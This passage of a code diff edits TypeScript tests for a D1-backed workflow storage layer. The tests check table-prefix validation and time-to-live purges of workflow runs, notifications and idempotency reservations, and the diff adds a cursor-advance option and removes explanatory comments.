+          if (boundary === 'cursor' && next.runId === 'poison') throw failure;
+          cursor = next;
+        },
+      }),
+    ).rejects.toThrow(/1 of 2 run\(s\) failed \(wf\/poison:/);
+    expect(attempts).toEqual(['poison', 'eligible']);
+    expect(advances).toEqual(['poison', 'eligible']);
+    expect(cursor).toEqual({
+      workflowId: 'wf',
+      runId: 'eligible',
+      deadlineAt: NOW - 1,
+    });
+  });
+
   it('bounds a pass, isolates failures, and re-drives the failed row', async () => {
     const db = openSqlite();
     createSnapshotTable(db);
@@ -592,6 +669,133 @@ describe('sweepExpiredRunDeadlines', () => {
 });
 
 describe('createD1Storage table prefix', () => {
+  it('rejects non-string prefixes without coercion', () => {
+    const coerce = vi.fn(() => 'safe_');
+    const object = {
+      toString: coerce,
+      [Symbol.toPrimitive]: coerce,
+      get length() {
+        coerce();
+        return 5;
+      },
+    };
+    for (const value of [
+      true,
+      false,
+      null,
+      1,
+      [],
+      new String('safe_'),
+      object,
+    ]) {
+      const prefix = value as unknown as string;
+      expect(() => validateTablePrefix(prefix)).toThrow(
+        'Invalid tablePrefix: use an empty prefix',
+      );
+      const prepare = vi.fn();
+      const binding = { prepare } as unknown as D1DatabaseBinding;
+      expect(() => createD1Storage({ binding, tablePrefix: prefix })).toThrow(
+        'Invalid tablePrefix: use an empty prefix',
+      );
+      for (const { construct } of PUBLIC_STORAGE_PREFIX_CASES)
+        expect(() => construct(binding, prefix)).toThrow(
+          'Invalid tablePrefix: use an empty prefix',
+        );
+      expect(prepare).not.toHaveBeenCalled();
+    }
+    expect(coerce).not.toHaveBeenCalled();
+    for (const value of [
+      undefined,
+      '',
+      '_tenant_01_',
+      'tenant_01_',
+      MAX_TABLE_PREFIX,
+    ])
+      expect(validateTablePrefix(value)).toBe(value);
+    expect(() => validateTablePrefix(OVERLONG_TABLE_PREFIX, 'custom')).toThrow(
+      'Invalid custom: must be at most 39 characters',
+    );
+  });
+
+  it('preserves inherited and non-enumerable disabled or custom domain overrides', async () => {
+    const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding;
+    const custom = new FencedWorkflowsStorageD1({ binding: binding as never });
+    for (const mode of ['inherited', 'non-enumerable']) {
+      for (const workflows of [false, custom]) {
+        const values = { workflows, threadState: false, notifications: false };
+        const domains =
+          mode === 'inherited'
+            ? Object.create(values)
+            : Object.defineProperties(
+                {},
+                Object.fromEntries(
+                  Object.entries(values).map(([key, value]) => [
+                    key,
+                    { value },
+                  ]),
+                ),
+              );
+        Object.defineProperty(domains, 'ignored', {
+          enumerable: true,
+          get() {
+            throw new Error('unknown getter');
+          },
+        });
+        const storage = createD1Storage({ binding, domains });
+        expect(await storage.getStore('workflows')).toBe(
+          workflows === false ? undefined : custom,
+        );
+        expect(await storage.getStore('threadState')).toBeUndefined();
+        expect(await storage.getStore('notifications')).toBeUndefined();
+      }
+    }
+  });
+
+  it('captures composition inputs before either storage constructor', async () => {
+    const first = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding;
+    const second = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding;
+    let bindingReads = 0;
+    let workflowReads = 0;
+    let domainReads = 0;
+    let prefixReads = 0;
+    let idReads = 0;
+    const domains = {
+      get workflows() {
+        workflowReads += 1;
+        return workflowReads === 1 ? undefined : (false as const);
+      },
+    };
+    const storage = createD1Storage({
+      get binding() {
+        return ++bindingReads === 1 ? first : second;
+      },
+      get id() {
+        idReads += 1;
+        return 'captured';
+      },
+      get tablePrefix() {
+        return ++prefixReads === 1 ? 'First_' : 'second_';
+      },
+      get domains() {
+        domainReads += 1;
+        return domains;
+      },
+    });
+    await storage.init();
+    const workflows = await storage.getStore('workflows');
+    expect(workflows).toBeInstanceOf(FencedWorkflowsStorageD1);
+    if (!(workflows instanceof FencedWorkflowsStorageD1))
+      throw new Error('missing owned workflow domain');
+    expect(workflows[FENCED_WORKFLOW_STORAGE]?.database).toBe(first);
+    expect(workflows[FENCED_WORKFLOW_STORAGE]?.tablePrefix).toBe('first_');
+    expect([
+      bindingReads,
+      workflowReads,
+      domainReads,
+      prefixReads,
+      idReads,
+    ]).toEqual([1, 1, 1, 1, 1]);
+  });
   it('uses the shared Mastra-compatible identifier rule', () => {
     const binding = sqliteUnitDatabase(openSqlite()) as D1DatabaseBinding;
 
@@ -657,7 +861,8 @@ describe('public purge table-prefix validation', () => {
   }) => {
     let prepareCalls = 0;
     let nowCalls = 0;
-    const db: SnapshotDatabase = {
+    const db: RetentionTestDatabase = {
+      batch: async () => [],
       prepare: () => {
         prepareCalls += 1;
         throw new Error('prepare must not run');
@@ -683,7 +888,8 @@ describe('public purge table-prefix validation', () => {
   }) => {
     let prepareCalls = 0;
     let nowCalls = 0;
-    const db: SnapshotDatabase = {
+    const db: RetentionTestDatabase = {
+      batch: async () => [],
       prepare: () => {
         prepareCalls += 1;
         throw new Error('prepare must not run');
@@ -705,8 +911,6 @@ describe('public purge table-prefix validation', () => {
 
 describe('purgeExpiredWorkflowRuns', () => {
   it('deletes only stale TERMINAL runs and returns the count', async () => {
-    // #given — every terminal status seeded fresh AND stale, every live
-    // status seeded stale
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     for (const status of TERMINAL) {
@@ -731,16 +935,11 @@ describe('purgeExpiredWorkflowRuns', () => {
         updatedAt: NOW - 30 * DAY_MS,
       });
     }
-
-    // #when — 7-day TTL
-    const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+    const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       now: () => NOW,
     });
-
-    // #then — exactly the six stale terminal rows are gone; fresh terminal
-    // rows and ALL live rows (however old — a stale suspended run is a
-    // pending approval, not garbage) survive
     expect(deleted).toBe(TERMINAL.length);
     expect(remainingRunIds(sqlite)).toEqual(
       [
@@ -769,7 +968,8 @@ describe('purgeExpiredWorkflowRuns', () => {
     });
 
     await expect(
-      purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
       }),
@@ -778,7 +978,6 @@ describe('purgeExpiredWorkflowRuns', () => {
   });
 
   it('returns 0 when nothing qualifies', async () => {
-    // #given
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     seedRun(sqlite, {
@@ -786,10 +985,9 @@ describe('purgeExpiredWorkflowRuns', () => {
       status: 'success',
       updatedAt: NOW - 1 * DAY_MS,
     });
-
-    // #when / #then
     expect(
-      await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
       }),
@@ -821,6 +1019,7 @@ describe('purgeExpiredWorkflowRuns', () => {
 
     expect(
       await purgeExpiredWorkflowRuns(snapshots, {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
@@ -852,6 +1051,7 @@ describe('purgeExpiredWorkflowRuns', () => {
 
     await expect(
       purgeExpiredWorkflowRuns(snapshots, {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
@@ -881,7 +1081,7 @@ describe('purgeExpiredWorkflowRuns', () => {
     });
     const backingBatch = binding.batch?.bind(binding);
     if (!backingBatch) throw new Error('test D1 adapter must provide batch');
-    const racing: SnapshotDatabase = {
+    const racing: RetentionTestDatabase = {
       prepare: binding.prepare.bind(binding),
       batch: async (statements) => {
         sqlite
@@ -895,6 +1095,7 @@ describe('purgeExpiredWorkflowRuns', () => {
 
     expect(
       await purgeExpiredWorkflowRuns(racing, {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
@@ -908,7 +1109,6 @@ describe('purgeExpiredWorkflowRuns', () => {
   });
 
   it('respects the table prefix', async () => {
-    // #given — two tables in one database, only the prefixed one targeted
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createSnapshotTable(sqlite, 'flowsafe_');
@@ -923,23 +1123,18 @@ describe('purgeExpiredWorkflowRuns', () => {
       updatedAt: NOW - 8 * DAY_MS,
       prefix: 'flowsafe_',
     });
-
-    // #when
-    const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+    const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       tablePrefix: 'flowsafe_',
       now: () => NOW,
     });
-
-    // #then
     expect(deleted).toBe(1);
     expect(remainingRunIds(sqlite)).toEqual(['unprefixed']);
     expect(remainingRunIds(sqlite, 'flowsafe_')).toEqual([]);
   });
 
   it('skips malformed snapshot rows instead of aborting the purge', async () => {
-    // #given — a corrupt (non-JSON) snapshot beside a valid stale terminal
-    // row and a valid stale live row
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     seedRun(sqlite, {
@@ -960,21 +1155,16 @@ describe('purgeExpiredWorkflowRuns', () => {
          VALUES ('wf', 'corrupt', NULL, 'not-json{oops', ?, ?)`,
       )
       .run(corruptIso, corruptIso);
-
-    // #when — one corrupt row must not abort reclaiming the valid ones
-    const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+    const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       now: () => NOW,
     });
-
-    // #then — the valid stale terminal row is gone; the corrupt row (not
-    // provably terminal — fail safe) and the live row survive
     expect(deleted).toBe(1);
     expect(remainingRunIds(sqlite)).toEqual(['corrupt', 'stale-live']);
   });
 
   it('treats the TTL boundary exclusively: exactly-at-cutoff rows survive', async () => {
-    // #given — a run whose updatedAt equals the cutoff instant
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     seedRun(sqlite, {
@@ -982,10 +1172,9 @@ describe('purgeExpiredWorkflowRuns', () => {
       status: 'success',
       updatedAt: NOW - 7 * DAY_MS,
     });
-
-    // #when / #then — strict < : the boundary row is not yet expired
     expect(
-      await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
       }),
@@ -993,20 +1182,17 @@ describe('purgeExpiredWorkflowRuns', () => {
   });
 
   it('treats a MISSING snapshot table as zero purgeable runs (Mastra creates it lazily)', async () => {
-    // #given — a database where no run ever persisted, so Mastra's lazy
-    // CREATE TABLE never happened
     const sqlite = openSqlite();
-
-    // #when / #then — maintenance purge must not fail until some unrelated run
-    // initializes the schema
     expect(
-      await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
       }),
     ).toBe(0);
     expect(
-      await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         artifactStore: {
@@ -1019,8 +1205,6 @@ describe('purgeExpiredWorkflowRuns', () => {
   });
 
   it("pairs each purged run's artifact deletion with its snapshot row when artifactStore is wired", async () => {
-    // #given — a stale terminal run beside a fresh terminal and a stale live
-    // one; only the first is eligible
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     seedRun(sqlite, {
@@ -1045,16 +1229,12 @@ describe('purgeExpiredWorkflowRuns', () => {
         return 2;
       },
     };
-
-    // #when
-    const deleted = await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+    const deleted = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       now: () => NOW,
       artifactStore,
     });
-
-    // #then — exactly the purged run's artifacts went with its row; the
-    // survivors keep theirs; deployment teardown deletes the bound bucket.
     expect(deleted).toBe(1);
     expect(deletedArtifacts).toEqual(['wf/stale-done']);
     expect(remainingRunIds(sqlite)).toEqual(['fresh-done', 'stale-open']);
@@ -1077,7 +1257,7 @@ describe('purgeExpiredWorkflowRuns', () => {
     });
     const backingBatch = binding.batch?.bind(binding);
     if (!backingBatch) throw new Error('test D1 adapter must provide batch');
-    const racing: SnapshotDatabase = {
+    const racing: RetentionTestDatabase = {
       prepare: binding.prepare.bind(binding),
       batch: async (statements) => {
         sqlite
@@ -1091,6 +1271,7 @@ describe('purgeExpiredWorkflowRuns', () => {
 
     expect(
       await purgeExpiredWorkflowRuns(racing, {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         artifactStore: { deleteRun: async () => 1 },
@@ -1104,10 +1285,7 @@ describe('purgeExpiredWorkflowRuns', () => {
     });
   });
 
-  it('LIMIT-batches the artifact-paired path; the shrinking eligible set is the cursor', async () => {
-    // #given — three stale terminal runs, batch size 2 (the subrequest-
-    // budget guard: an unbounded first backlog would blow the Workers
-    // per-invocation cap)
+  it('bounds artifact work per invocation', async () => {
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     for (const runId of ['stale-a', 'stale-b', 'stale-c']) {
@@ -1130,12 +1308,14 @@ describe('purgeExpiredWorkflowRuns', () => {
       artifactStore,
       limit: 2,
     };
-
-    // #when — two passes
-    const first = await purgeExpiredWorkflowRuns(d1Like(sqlite), options);
-    const second = await purgeExpiredWorkflowRuns(d1Like(sqlite), options);
-
-    // #then — the batches advance without a cursor row and stay paired
+    const first = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
+      ...options,
+    });
+    const second = await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+      advanceCursor: async () => {},
+      ...options,
+    });
     expect(first).toBe(2);
     expect(second).toBe(1);
     expect(deletedArtifacts.sort()).toEqual(['stale-a', 'stale-b', 'stale-c']);
@@ -1143,9 +1323,6 @@ describe('purgeExpiredWorkflowRuns', () => {
   });
 
   it("a failing artifact delete leaves that run's snapshot row for the next sweep (artifacts-first ordering)", async () => {
-    // #given — artifacts go BEFORE the row: if this order ever flips, a
-    // crash between the two strands the artifacts forever (the row is their
-    // only enumerable record)
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     seedRun(sqlite, {
@@ -1158,23 +1335,18 @@ describe('purgeExpiredWorkflowRuns', () => {
         throw new Error('R2 unavailable');
       },
     };
-
-    // #when / #then — the failure propagates (the purge duty logs it)...
     await expect(
-      purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ttlMs: 7 * DAY_MS,
         now: () => NOW,
         artifactStore,
       }),
     ).rejects.toThrow('R2 unavailable');
-    // ...and the row survives as the retry cursor
     expect(remainingRunIds(sqlite)).toEqual(['stale-done']);
   });
 
   it("one run's wedged artifact delete does not stall the eligible rows behind it", async () => {
-    // #given — five stale terminal runs; only the middle one's deleteRun is
-    // permanently broken. Without per-run isolation the loop aborts at the
-    // same scan position EVERY firing and the runs behind it never purge.
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     for (const runId of ['r1-ok', 'r2-ok', 'r3-bad', 'r4-ok', 'r5-ok']) {
@@ -1191,17 +1363,16 @@ describe('purgeExpiredWorkflowRuns', () => {
       },
     };
     const options = { ttlMs: 7 * DAY_MS, now: () => NOW, artifactStore };
-
-    // #when / #then — the pass purges the other four, then reports the
-    // failure (naming the run) so the purge duty's error surface still fires
     await expect(
-      purgeExpiredWorkflowRuns(d1Like(sqlite), options),
-    ).rejects.toThrow('wf/r3-bad: permanently broken');
+      purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
+        ...options,
+      }),
+    ).rejects.toThrow('permanently broken');
     expect(remainingRunIds(sqlite)).toEqual(['r3-bad']);
-
-    // #then — a later pass with the store healed reaps the survivor
     expect(
-      await purgeExpiredWorkflowRuns(d1Like(sqlite), {
+      await purgeExpiredWorkflowRuns(retentionDb(sqlite), {
+        advanceCursor: async () => {},
         ...options,
         artifactStore: { deleteRun: async () => 1 },
       }),
@@ -1725,7 +1896,6 @@ describe('purgeExpiredThreads (agent-memory thread TTL)', () => {
 
 describe('purgeExpiredWorkflowRuns row-only batching', () => {
   it('LIMIT-batches the bulk path: one firing reclaims at most `limit` rows; the next resumes at the survivors', async () => {
-    // #given — more expired terminal rows than one batch
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     for (let index = 0; index < 5; index += 1) {
@@ -1735,22 +1905,20 @@ describe('purgeExpiredWorkflowRuns row-only batching', () => {
         updatedAt: NOW - 40 * DAY_MS,
       });
     }
-    const db = d1Like(sqlite);
-
-    // #when — two firings at limit 3
+    const db = retentionDb(sqlite);
     const first = await purgeExpiredWorkflowRuns(db, {
+      advanceCursor: async () => {},
       ttlMs: 30 * DAY_MS,
       limit: 3,
       now: () => NOW,
     });
     const survivors = remainingRunIds(sqlite).length;
     const second = await purgeExpiredWorkflowRuns(db, {
+      advanceCursor: async () => {},
       ttlMs: 30 * DAY_MS,
       limit: 3,
       now: () => NOW,
     });
-
-    // #then — the shrinking eligible set is the cursor across firings
     expect(first).toBe(3);
     expect(survivors).toBe(2);
     expect(second).toBe(2);
@@ -1956,11 +2124,20 @@ async function signalDb(sqlite: SqliteDatabase): Promise<SignalDatabase> {
 
 function seedNotification(
   db: SqliteDatabase,
-  row: { id: string; threadId: string; status: string; updatedAt: number },
+  row: {
+    id: string;
+    threadId: string;
+    status: string;
+    updatedAt: number | string;
+    tablePrefix?: string;
+  },
 ): void {
-  const iso = new Date(row.updatedAt).toISOString();
+  const iso =
+    typeof row.updatedAt === 'string'
+      ? row.updatedAt
+      : new Date(row.updatedAt).toISOString();
   db.prepare(
-    `INSERT INTO mastra_notifications
+    `INSERT INTO ${row.tablePrefix ?? ''}mastra_notifications
        (id, thread_id, source, kind, priority, status, summary, coalescedCount,
         createdAt, updatedAt, deliveryAttempts)
      VALUES (?, ?, 'x', 'y', 'medium', ?, 'z', 1, ?, ?, 0)`,
@@ -2019,11 +2196,162 @@ describe('purgeExpiredNotifications', () => {
     expect(ids).toEqual(['ancient-pending', 'fresh-delivered']);
   });
 
-  it('reads a missing table as zero', async () => {
+  describe.each(['', 'tenant_'])('table prefix %j', (tablePrefix) => {
+    it.each([
+      {
+        name: 'ordinary year',
+        now: '2026-07-07T12:00:00.000Z',
+        oldOffset: '2026-07-06T15:59:59.999+04:00',
+        futureOffset: '2026-07-06T07:00:00-06:00',
+        equalOffset: '2026-07-06T16:00:00+0400',
+      },
+      {
+        name: 'negative year',
+        now: '-000100-01-02T12:00:00.000Z',
+        oldOffset: '-000100-01-01T15:59:59.999+04:00',
+        futureOffset: '-000100-01-01T07:00:00-06:00',
+        equalOffset: '-000100-01-01T16:00:00+0400',
+      },
+    ])('applies notification TTL by Date chronology for $name', async ({
+      now,
+      oldOffset,
+      futureOffset,
+      equalOffset,
+    }) => {
+      const sqlite = openSqlite();
+      const binding = sqliteUnitDatabase(sqlite) as SignalDatabase;
+      await new D1NotificationsStorage(binding, tablePrefix).init();
+      const instant = new Date(now).getTime();
+      const cutoff = instant - DAY_MS;
+      const rows = [
+        {
+          id: 'extended-future',
+          status: 'delivered',
+          updatedAt: '+010000-01-01T00:00:00.000Z',
+        },
+        {
+          id: 'negative-past',
+          status: 'seen',
+          updatedAt: '-000200-01-01T00:00:00.000Z',
+        },
+        {
+          id: 'old-canonical',
+          status: 'dismissed',
+          updatedAt: new Date(cutoff - 1).toISOString(),
+        },
+        { id: 'old-offset', status: 'archived', updatedAt: oldOffset },
+        {
+          id: 'future-offset',
+          status: 'discarded',
+          updatedAt: futureOffset,
+        },
+        { id: 'equal-offset', status: 'delivered', updatedAt: equalOffset },
+        {
+          id: 'equal-canonical',
+          status: 'discarded',
+          updatedAt: new Date(cutoff).toISOString(),
+        },
+        { id: 'pending-old', status: 'pending', updatedAt: oldOffset },
+      ];
+      for (const row of rows) {
+        expect(Number.isFinite(new Date(row.updatedAt).getTime())).toBe(true);
+        seedNotification(sqlite, { ...row, threadId: 'thread', tablePrefix });
+      }
+      if (tablePrefix !== '') {
+        await new D1NotificationsStorage(binding, '').init();
+        seedNotification(sqlite, {
+          id: 'other-prefix',
+          threadId: 'thread',
+          status: 'delivered',
+          updatedAt: oldOffset,
+        });
+      }
+      const retained = rows.filter(
+        (row) =>
+          row.status === 'pending' ||
+          new Date(row.updatedAt).getTime() >= cutoff,
+      );
+      expect(
+        await purgeExpiredNotifications(d1Like(sqlite), {
+          ttlMs: DAY_MS,
+          tablePrefix,
+          now: () => instant,
+        }),
+      ).toBe(rows.length - retained.length);
+      expect(
+        sqlite
+          .prepare(
+            `SELECT id, status, updatedAt FROM ${tablePrefix}mastra_notifications ORDER BY id`,
+          )
+          .all(),
+      ).toEqual(retained.sort((a, b) => a.id.localeCompare(b.id)));
+      if (tablePrefix !== '') {
+        expect(
+          sqlite.prepare('SELECT id FROM mastra_notifications').all(),
+        ).toEqual([{ id: 'other-prefix' }]);
+      }
+    });
+
+    it('reads a missing table as zero', async () => {
+      const sqlite = openSqlite();
+      expect(
+        await purgeExpiredNotifications(d1Like(sqlite), {
+          ttlMs: DAY_MS,
+          tablePrefix,
+        }),
+      ).toBe(0);
+    });
+  });
+
+  it.each([
+    'invalid',
+    '0',
+    '2026-07-06T00:00:00',
+    '2026-07-06T00:00:00Z\0',
+    '+275760-09-13T00:00:00.001Z',
+  ])('retains unsupported raw updatedAt %j', async (updatedAt) => {
     const sqlite = openSqlite();
+    await signalDb(sqlite);
+    seedNotification(sqlite, {
+      id: 'unreadable',
+      threadId: 'thread',
+      status: 'delivered',
+      updatedAt,
+    });
     expect(
-      await purgeExpiredNotifications(d1Like(sqlite), { ttlMs: DAY_MS }),
+      await purgeExpiredNotifications(d1Like(sqlite), {
+        ttlMs: DAY_MS,
+        now: () => NOW,
+      }),
     ).toBe(0);
+    expect(sqlite.prepare('SELECT id FROM mastra_notifications').all()).toEqual(
+      [{ id: 'unreadable' }],
+    );
+  });
+
+  it.each([
+    { now: NaN, ttlMs: DAY_MS },
+    { now: Infinity, ttlMs: DAY_MS },
+    { now: 8_640_000_000_000_001, ttlMs: 0 },
+    { now: -8_640_000_000_000_000, ttlMs: 1 },
+  ])('rejects a cutoff outside the finite Date range: %j', async ({
+    now,
+    ttlMs,
+  }) => {
+    const sqlite = openSqlite();
+    await signalDb(sqlite);
+    seedNotification(sqlite, {
+      id: 'retained',
+      threadId: 'thread',
+      status: 'delivered',
+      updatedAt: NOW - 2 * DAY_MS,
+    });
+    await expect(
+      purgeExpiredNotifications(d1Like(sqlite), { ttlMs, now: () => now }),
+    ).rejects.toThrow();
+    expect(sqlite.prepare('SELECT id FROM mastra_notifications').all()).toEqual(
+      [{ id: 'retained' }],
+    );
   });
 });
 
@@ -2204,20 +2532,6 @@ describe('purgeExpiredScheduleTriggers', () => {
   });
 });
 
-// ---------------------------------------------------------------------------
-// Start-reservation retention.
-//
-// The reservation is what makes a spent idempotency key answerable, so its
-// retention has one hard rule and one soft one:
-//
-//   HARD  a reservation must NEVER be deleted while the run it names is still
-//         readable. Break it and the very next retry of that key mints a fresh
-//         run beside the live one — the exact double-execution the key was
-//         bought to prevent.
-//   SOFT  a reservation must eventually be deleted, or the one table this
-//         deployment cannot drain grows forever.
-// ---------------------------------------------------------------------------
-
 function createReservationTable(db: SqliteDatabase): void {
   db.prepare(START_IDEMPOTENCY_DDL).run();
 }
@@ -2264,8 +2578,7 @@ function reservationRows(
 }
 
 describe('purgeExpiredWorkflowRuns — start reservations', () => {
-  it('deletes a spent reservation in the SAME batch as its run’s snapshot', async () => {
-    // #given a completed run past both horizons, with its key already settled
+  it('removes an expired snapshot and legacy reservation', async () => {
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2281,24 +2594,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 8 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then both are gone, and gone together
     expect(remainingRunIds(sqlite)).toEqual([]);
     expect(reservationRows(sqlite)).toEqual([]);
   });
 
   it('KEEPS a reservation whose horizon has not elapsed, so a late retry is told ALREADY_SETTLED', async () => {
-    // #given a run at the run-TTL boundary but a key-validity horizon twice as
-    // long — the configuration a host uses when its callers retry for longer
-    // than it keeps run summaries
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2314,19 +2621,14 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 8 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTtlMs: 30 * DAY_MS,
       resourceOwnerTable: RESOURCE_OWNERSHIP_TABLE,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then the snapshot is reclaimed and the reservation OUTLIVES it. That
-    // ordering is the whole point: a retry after this pass hits
-    // ALREADY_SETTLED instead of looking like a brand-new key.
     expect(remainingRunIds(sqlite)).toEqual([]);
     expect(reservationRows(sqlite)).toEqual([
       expect.objectContaining({ key: 'key-old', state: 'terminal' }),
@@ -2334,9 +2636,6 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
   });
 
   it('floors the reservation horizon at the run TTL, whatever a caller asks for', async () => {
-    // #given a caller asking for a horizon SHORTER than run retention — a
-    // configuration in which a reservation would be reaped while its run is
-    // still readable, and the next retry of that key would start a second run
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2351,25 +2650,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 1 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTtlMs: 1,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then the run is not eligible, and neither is its reservation: the floor
-    // makes the dangerous configuration unreachable rather than merely unwise.
     expect(remainingRunIds(sqlite)).toEqual(['run-live']);
     expect(reservationRows(sqlite)).toHaveLength(1);
   });
 
-  it('marks a reservation the terminal reconcile missed, instead of stranding it', async () => {
-    // #given a run that completed and was purged, but whose reservation is
-    // still 'started' — the shape a crash between the terminal persist and
-    // settleRun leaves behind
+  it('preserves an unsettled legacy reservation after snapshot expiry', async () => {
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2384,31 +2676,23 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'started',
       updatedAt: NOW - 8 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then it is terminal, its horizon re-stamped from THIS moment, and it
-    // survives this pass — so it is both purgeable later and out of the drain
-    // inventory now.
     expect(reservationRows(sqlite)).toEqual([
       {
         key: 'key-stranded',
         run_id: 'run-old',
-        state: 'terminal',
-        updated_at: NOW,
+        state: 'started',
+        updated_at: NOW - 8 * DAY_MS,
       },
     ]);
   });
 
   it('reaps a reservation ORPHANED by an earlier pass, once past its horizon', async () => {
-    // #given a reservation whose run's snapshot was purged long ago. The
-    // batch pairing can never see it again — its run is not in any eligible
-    // set — so without a sweep of its own this row would live forever.
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2424,23 +2708,18 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 1 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then only the one past its horizon
     expect(reservationRows(sqlite).map((row) => row.key)).toEqual([
       'key-young-orphan',
     ]);
   });
 
   it('never reaps an orphan candidate whose run is still readable', async () => {
-    // #given a reservation older than every horizon whose run STILL EXISTS —
-    // a live suspended run, which retention never touches
     const sqlite = openSqlite();
     createSnapshotTable(sqlite);
     createReservationTable(sqlite);
@@ -2455,26 +2734,16 @@ describe('purgeExpiredWorkflowRuns — start reservations', () => {
       state: 'terminal',
       updatedAt: NOW - 90 * DAY_MS,
     });
-
-    // #when
     await purgeExpiredWorkflowRuns(sqliteUnitDatabase(sqlite) as never, {
+      advanceCursor: async () => {},
       ttlMs: 7 * DAY_MS,
       startIdempotencyTable: START_IDEMPOTENCY_TABLE,
       now: () => NOW,
     });
-
-    // #then it survives. `NOT EXISTS (snapshot)` is not an optimization — it
-    // is what makes the HARD rule structural rather than a consequence of
-    // whatever a host configured the horizon to be.
